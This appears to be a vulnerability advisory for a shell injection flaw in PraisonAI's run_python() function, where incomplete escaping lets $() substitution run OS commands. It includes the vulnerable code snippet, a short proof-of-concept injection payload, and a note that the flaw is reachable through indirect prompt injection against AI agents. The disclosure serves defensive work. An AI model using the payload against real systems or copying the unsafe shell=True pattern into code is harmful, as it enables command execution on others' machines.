Remote command execution In praisonaiagents
Description
PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution
Summary
run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.
Details
execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)
# source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60): # hop -- incomplete escaping, $ and () not handled escaped_code = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{python_cmd} -c "{escaped_code}"' # sink -- shell=True expands $() before python3 runs...
PoC
# install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.execute_command import run_python result = run_python(code='$(id > /tmp/injected)') print(result) ...
Impact
Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
pypi | 1.5.90 |
Aliases
References